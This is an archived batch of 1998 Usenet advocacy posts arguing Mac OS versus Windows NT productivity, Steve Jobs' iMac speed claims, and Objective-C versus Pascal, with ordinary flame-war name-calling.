Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 19:54:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rn7mc$56f$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com> <joe.ragosta-2208980716450001@elk62.dol.net>
In article <joe.ragosta-2208980716450001@elk62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Wrong. The ones I quote most recently are Gistics and Microsoft--both of
> which compare Mac OS to Win95 and NT.
Maybe I'm looking at the wrong thing. Could you post the URLs of these
studies? The Giga study seems to be a broken link but the MacWeek article
discussing it doesn't mention the version of NT and is confined to graphics
professionals. I readily admit that the Mac is better for 2D graphics (I
never use my PC for 2D graphics).
> The point is that there's an overwhelming mountain of evidence. You find a
> minor complaint about each one while ignoring the fact that the mountain
> of evidence is all saying the same thing--that Macs are easier to use,
> more productive, and less expensive than PCs.
I haven't seem a moutain of evidence and I have more than "minor complaint[s]"
with the studies (some aren't even studies, just opinion!) that you reference
in your web site. Do you think that, for an expert NT 4 user, any of your
studies are relevant? If so, please post the URL.
> In spite of your criticisms, I have dozens of links to support my
> position. You have exactly ZERO. NONE. NADA. ZIP.
I'm not really interested enough to look for studies but you don't have a
reference to a single study (please post a URL if you can find one) that is
relevant to a expert user running NT 4. Opinions are not relevant. Studies
comparing the Mac OS to Windows 3.1, NT 3 or Windows 95 are not relevant.
Studies tied to a particular domain are not relevant.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Sat, 22 Aug 1998 15:32:58 -0400
From: a_fraser@one.net (Alan Fraser)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <a_fraser-2208981532580001@port-37-31.access.one.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com> <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net>
Organization: Whammer Jammer Enterprises
In article <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> From a productivity standpoint, NT4 and Win95/8 would be VERY similar because
> they are the same user interface which works the same way. So, I'd say that
> productivity wise, Win95/8 and NT4 are six of one, a half dozen of the other.
Windows operating systems are like Celine Dion songs - They all sound
pretty much the same but lemmings buy them anyway...
--
Alan Fraser - a_fraser@one.net
Home Page --- http://w3.one.net/~a_fraser/
Date: Sat, 22 Aug 1998 15:07:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Message-ID: <joe.ragosta-2208981507310001@elk34.dol.net>
References: <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>
In article <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>, qed@pobox.com
(Paul Hsieh) wrote:
> There are more way more games for PC's than on Macs, so there's no reason
> to continue with the legacy Mac line unless you like neon blue for some
> reason and have a deep hatred for floppy disks.
Just like there's no reason to buy a PC unless you feel like following the herd.
Why not try doing a _real_ comparison of the things that
matter--productivity, cost of ownership, ease of use, and so on? The Mac
wins hands down.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: Sun, 23 Aug 1998 06:36:51 +1000
Organization: University of Queensland
Message-ID: <6rna1j$fb8$1@bunyip.cc.uq.edu.au>
References: <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-2208981507310001@elk34.dol.net...
>In article <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>, qed@pobox.com
>(Paul Hsieh) wrote:
>
>> There are more way more games for PC's than on Macs, so there's no reason
>> to continue with the legacy Mac line unless you like neon blue for some
>> reason and have a deep hatred for floppy disks.
>
>Just like there's no reason to buy a PC unless you feel like following the
herd.
Or the PC does a better job for you.
>
>Why not try doing a _real_ comparison of the things that
>matter--productivity, cost of ownership, ease of use, and so on? The Mac
>wins hands down.
Assuming the Mac does what you need it to.
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <slrn6tuame.9b3.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1> <6rl1dc$lgp$1@plo.sierra.com>
Date: Sat, 22 Aug 1998 20:30:57 GMT
In article <6rl1dc$lgp$1@plo.sierra.com>, Earl Malmrose wrote:
>Rob Barris wrote in message ...
>>In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
>><earl.malmrose@nospam.sierra.com> wrote:
>>
>>> Steve Jobs: "I think also, you know, the iMac is faster than the fastest
>PC
>>> you can buy for any amount of money."
>>>
>>> Absolutely false, and thus a flat-out lie.
>>
>> He said that's what he thinks. Awfully clever of him. He's giving his
>>competitors a golden opportunity to show him wrong, they should take him up
>>on it.
>
>I can't believe he's so stupid to actually believe he's telling the truth.
>
>
This has never been about "the truth." Jobs is doing his best to spread the
idea (or meme) that Mac=fast, Intel=slow. I'm impressed how, as I sit back and
watch, the tables have turned in so short a time in favor of Apple.
I might be indignant about it, except that the whole thing is just such a
great illustration of the saying "live by the sword and die by the sword."
Intel and its dancing bunny-suit people, and Microsoft and its mediocre-at-
best products, pathetic attempts at innovation like Bob (remember that)
and upgrade treadmill, are fitting targets for a bit of their own medicine.
:-)
Mark
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 21:41:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rndtf$av2$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com> <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net>
In article <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> From a productivity standpoint, NT4 and Win95/8 would be VERY similar because
> they are the same user interface which works the same way. So, I'd say that
> productivity wise, Win95/8 and NT4 are six of one, a half dozen of the other.
I don't think so. Performance and stability are important to productivity. NT
has better memory protection and multitasking and faster IO.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 21:57:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rnesu$bhi$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <gmgraves-2208981127450001@sf-usr1-32-160.dialup.slip.net>
In article <gmgraves-2208981127450001@sf-usr1-32-160.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> What claim?
"MacOS is the best user experience in computers. It is also the most
productive OS. This has been proven many times."
For this claim to be true, the Mac OS must have been proven to be better than
any other operating system with respect to user experience and productivity.
OpenStep is another operating system which provides a different user
experience. Unless the Mac OS has been "proven" to be better than OpenStep, in
these respects, then your claim is false. It is also false if it wasn't
"proven" to be better than BeOS, Solaris, IRIX, linux, etc.
> I doubt seriously if any productivity studies between MacOS and OpenStep
> have ever been done (I've never seen any) for the simple reason that the
> installed base of OpenStep machines is tiny, and the productivity software
> for Openstep is either nonexistent or so far out of the mainstream as to
> make any comparisons practically meaningless and fairly odious.
If no such productivity studies were done then the claim that you made is
false and you should retract it.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: 22 Aug 1998 23:07:12 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rniv0$pmt$1@lwnws01.ne.highway1.com>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1> <6rl1dc$lgp$1@plo.sierra.com> <slrn6tuame.9b3.mark@ns1.oaai.com>
mark@ns1.oaai.com (Mark Onyschuk) wrote:
> I might be indignant about it, except that the whole thing is just such a
> great illustration of the saying "live by the sword and die by the sword."
>
> Intel and its dancing bunny-suit people, and Microsoft and its mediocre-at-
> best products, pathetic attempts at innovation like Bob (remember that)
> and upgrade treadmill, are fitting targets for a bit of their own medicine.
>
> :-)
Perhaps, but in the end the consumer is the one being duped one way or the
other. I think an overall loss regardless of who is doing the duping.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 22 Aug 1998 23:18:59 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rnjl3$pmt$2@lwnws01.ne.highway1.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> > That's not what I'm talking about. I'm talking Objective C
> > vs. Objective Pascal. The ability to use straight C when needed
> > in OBjective C is very useful. I.E. I would have hated to
> > rewrite a network base 4 FFT routine from scratch for a particular
> > project, I would have had to with Delphi Pascal (unless someone
> > had a pascal version already), but I didn't with Objective C
> > (because there are TONS of free straight C FFT routines around
> > and I just mooched one and tossed it in).
>
> There is a fair bit of Pascal code already out there so you could
> easily find a FFT routine. But, even if you couldn't, converting
> the C routine to Pascal would probably take you about five minutes.
> And automated techniques are available.
No doubt, but the point still stands that there is much more C
stuff out there than Pascal, and converting C to Pascal isn't likely
to be as optimized (not to mention readable) as the original. It's
an ease of access issue that I believe goes in favor of C. YMMV.
> > Maybe it needent, but generally it is.
>
> Do you have any evidence to support this claim? I haven't seen
> any pascal compilers for UNIX than don't use gcc as a back end
> so those would generate the same quality of code.
I find almost anytime there's a conversion, in this case from pascal
to c, the results are less optimal than without a conversion. This
is strictly from "general consensus" info I've heard from people
more experienced than myself (reads, most people :) and not from
any studies or bigO optimality proofs or anything like that. I
think it's generally true. YMMV.
> The point is relevant only if the designers of Delphi used some
> of the advanced contructs found in Modula-2. I haven't used Delphi
> so I couldn't say. In Objective-C, you can mark a attribute as
> private but you can't actually stop the user from seeing it i.e.
> the contents of the object must be fully specified in the interface
> for the user to see.
I'm not sure what your point is here. Sorry, it's been a while
since I've actually coded, so I may well have this wrong. But my
understanding was that things kept private, one way or another, in
ObjC remain that way and are innaccesible. I may well have this
wrong, or my understanding of how this is accomplished is so cursory
(and it is) so that I don't understand the extent of how easy it
is to access things that are supposed to remain private. But I'd
love to be enlightened either way. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Sat, 22 Aug 1998 16:19:38 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rnk7i$kaq$1@plo.sierra.com>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1> <6rl1dc$lgp$1@plo.sierra.com> <slrn6tuame.9b3.mark@ns1.oaai.com>
NNTP-Posting-Date: 22 Aug 1998 23:28:50 GMT
Mark Onyschuk wrote in message ...
>In article <6rl1dc$lgp$1@plo.sierra.com>, Earl Malmrose wrote:
>>Rob Barris wrote in message ...
>>>In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
>>><earl.malmrose@nospam.sierra.com> wrote:
>>>
>>>> Steve Jobs: "I think also, you know, the iMac is faster than the
fastest
>>PC
>>>> you can buy for any amount of money."
>>>>
>>>> Absolutely false, and thus a flat-out lie.
>>>
>>> He said that's what he thinks. Awfully clever of him. He's giving
his
>>>competitors a golden opportunity to show him wrong, they should take him
up
>>>on it.
>>
>>I can't believe he's so stupid to actually believe he's telling the truth.
>>
>This has never been about "the truth."
Sure it has been. There are plenty, if not most Mac advocates, that claim
Jobs/Apple isn't lying in their marketing campaign. Well they are lying.
> Jobs is doing his best to spread the
>idea (or meme) that Mac=fast, Intel=slow. I'm impressed how, as I sit back
and
>watch, the tables have turned in so short a time in favor of Apple.
But he's doing it with lies. He doesn't need to. Macs are fast, and only
slightly more expensive than PCs. I'm impressed too, how he can get away
with such lies.
From: Jeff Read <bitwize@geocities.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 22 Aug 1998 19:16:07 -0500
Organization: Not really
Message-ID: <35DF5F47.DCAB6CBD@geocities.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com>
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CJH wrote:
> So I guess you built your own house too! Some people don't want the challenges
> of constructing a damn computer!
Building a computer is less like building a house and more like
assembling your kid's new bike. Grab a clue.
--
----------------------------------------------------------------------
Jeff Read <bitwize@geocities.com>/ http://genpc.home.ml.org
Unix / Linux / Windows Hacker, / Boycott Microsoft!
Anime & Sonic Fan, / Use Linux/GNU!
All Around Nice Guy / Let's keep the Net and the Land FREE!
----------------------------------------------------------------------
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 17:01:04 -0700
Organization: Cisco Systems
Message-ID: <35DF5BC0.26D3D7D1@cisco.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <joe.ragosta-2108981909220001@elk120.dol.net>
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Joe Ragosta wrote:
>
> In article <35DDBACB.58812391@cisco.com>, friedman@cisco.com wrote:
>
> You can pick petty little details all you want. In practice, Macs are more
> productive than NT. Period.
Right, "petty" details, also known as "reality". So if reality is
not a factor MacOS is more productive. Sounds about right to me.
Regards,
Barry
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: Sat, 22 Aug 1998 19:04:05 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980822190305.1042G-100000@paule>
References: <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net>
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In-Reply-To: <joe.ragosta-2208981507310001@elk34.dol.net>
Whether the mac wins or not is irrelevant to the fact that your constant
repetition of this mantra borders on the schizophrenic (this is not an
insult aimed at the afflicted, it is a diagnosis).
On Sat, 22 Aug 1998, Joe
Ragosta wrote:
> In article <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>, qed@pobox.com
> (Paul Hsieh) wrote:
>
> > There are more way more games for PC's than on Macs, so there's no reason
> > to continue with the legacy Mac line unless you like neon blue for some
> > reason and have a deep hatred for floppy disks.
>
> Just like there's no reason to buy a PC unless you feel like following the herd.
>
> Why not try doing a _real_ comparison of the things that
> matter--productivity, cost of ownership, ease of use, and so on? The Mac
> wins hands down.
>
> --
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Advocacy Page
> http://www.dol.net/~Ragosta/complmac.htm
>
>
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stclair.k12.il.us
Date: Sat, 22 Aug 1998 20:35:14 -0400
From: a_fraser@one.net (Alan Fraser)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <a_fraser-2208982035140001@port-32-31.access.one.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <a_fraser-2208981126550001@port-50-11.access.one.net> <6rn70v$4lk$1@nnrp1.dejanews.com>
Organization: Whammer Jammer Enterprises
In article <6rn70v$4lk$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <a_fraser-2208981126550001@port-50-11.access.one.net>,
> a_fraser@one.net (Alan Fraser) wrote:
>
> > Yeah...I'm crippled by it. I've only got six music synthesizers connected
> > to it...four mountable drives...three hard drives (one Ultra SCSI)...an
> > A-D switch for selecting modem / MIDI / digital camera / QuickCam and so
> > on...blah, blah, blah...
>
> And I could connect all of those things to my PC. Plus I could add an AGP
> video card which you can't. Instead, you'd probably buy a Nexus GA which is
> more expensive (on the Mac) than a Velocity 128 and less than half as fast. I
> could pick one of several Voodoo II boards instead of paying more for the
> GameWizard which has less RAM. And so on...
Yeah, but you couldn't connect any of them without buying extra hardware...
I'm more interested in a video card for sampling and the high-end jobs are
pretty much of a wash in terms of the type of box you're driving.
> > On the other hand, I've got the Microsoft's Personal Web Server on my PC
> > at work. After installing Front Page, the index.htm page moved somewhere
> > and, after an hour of looking, I gave up trying to find it. (I did a find
> > on 'index' and, between PWS and Front Page, there were more than ten of
> > them, none of which was the actual page. Priceless...) Give me a Mac for
> > developing pages and Unix for serving them...
>
> Fair enough. I have never had any problems like this on my PC but I do use
> UNIX for web serving as well. I do page development on my PC and graphic
> development on my Mac.
>
> > Please, more PC trolls in the Mac newsgroups! They add as much to my life
> > as Ken Starr adds to Clinton's!!
>
> I am not a PC troll. I have a Mac and probably know more about Macs than you
> do.
I learned a long time ago in mainframes that you can't learn it all; it's
a lot more important to know where you left the book...
--
Alan Fraser - a_fraser@one.net
Home Page --- http://w3.one.net/~a_fraser/
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 23 Aug 1998 00:53:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rnp5o$hlc@news1.panix.com>
References: <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35DDD340.230E7E20@ericsson.com> <joe.ragosta-2108981917480001@elk120.dol.net> <35df2f1e.115007972@news.netdirect.net> <6rmua3$blb$1@camel25.mindspring.com>
On Sun, 23 Aug 1998 01:17:53 -0400, Doug Ivers <dliver@mindspring.com> wrote:
>If you think cars are significantly lighter and therefore less safe now buy
>a car magazine and check out the curb weight of todays cars. Mid size cars
Agreed. Most of the weight is in gizmos that didn't exist 20+ years ago,
as opposed to the weight of the cars structural portions.
>I am old enough to remember real muscle cars from when I was in high school
>in the 70's. Late 60s GTOs and 442s were old enough for high school
>students to afford then. While todays performance cars cannot match the
>noise, vibration and feeling of raw power those cars had they can provide
>comparable acceleration and greatly improved handling and braking.
They also provide FM radio... :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 23 Aug 1998 00:53:10 GMT
